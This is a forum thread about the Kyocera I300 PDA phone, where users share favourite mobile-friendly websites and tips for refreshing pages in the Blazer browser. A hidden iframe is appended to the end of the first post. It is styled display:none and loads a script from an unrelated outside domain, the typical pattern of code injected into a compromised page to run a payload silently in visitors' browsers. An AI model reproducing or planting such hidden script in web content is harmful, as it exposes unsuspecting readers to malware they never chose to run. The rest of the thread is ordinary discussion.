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    Thumbs up What are your favorite websites to visit on your I300?

    New Poll Pending

    I'm planning on posting a poll in the next few weeks to have people vote on their favorite websites to visit using their I300 (or actually any lurkers with another PDA phone are welcome to contribute, but the sites better actually work on the I300!).

    Please post your favorites, so we can all try out the good ones. For example, I dig the IMDB, but going to www.imdb.com on my I300 is a nightmare. There's an intermittently working interface to it that works good in Blazer at
    http://www.magma.ca/~sheppard/IMDb/Web
    so I would include that. Here's my list to get things started, in no order of priority:

    Google
    http://www.google.com

    Mapquest
    http://wireless.mapquest.com

    AccuWeather
    http://pda.accuweather.com

    Pocket XXX
    http://www.pocket-xxx.com

    Please keep any websites that aren't properly formatted for our I300s off this thread, because we're all going to check them and there's no sense wasting time if they won't work right or quickly...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    PDA Web Sites

    Here's a link to a web page with a list of PDA Web Sites for travelers:

    Put your finger here
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    widow's son
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    Unhappy OK Maybe not...

    Well with only one response (a link to websites that are about travel but not exactly Blazer-friendly) I'm gonna go ahead and call this one. No poll needed. Anybody who discovers kewl sites for the i300, msg me directly OK!!

    R.

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    Thanks J

    Now that's what I'm talkin about.

    Thanks, that's some I hadn't seen yet, I like that WSJ and the Forbes ones...

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    The WSJ went to subscription for mobile access, and Sprint isn't part of their problem. I recently added the WAP link, which supposedly isn't restricted (yet) but I haven't tried it yet.

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    Using I300 and Blazer

    I just started using Blazer and noticed that when I download a page and try to get new updated information that i just get back the previous(cached) page from before. The phone shows that it is connecting to the network but still show old data. Appreciate any help on how to refresh correctly. Thanks.........

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    Re: Using I300 and Blazer

    Pull down the menu bar and select 'Refresh'. Or, do 'Stroke R'.


    If you are using TheJake's full screen blazer hack (and you should be!), then you can't pull down the menu bar anymore! You'll need something else that will do it for you. I use TealLaunch and bind "pull down the menu" to holding down the Calendar button.

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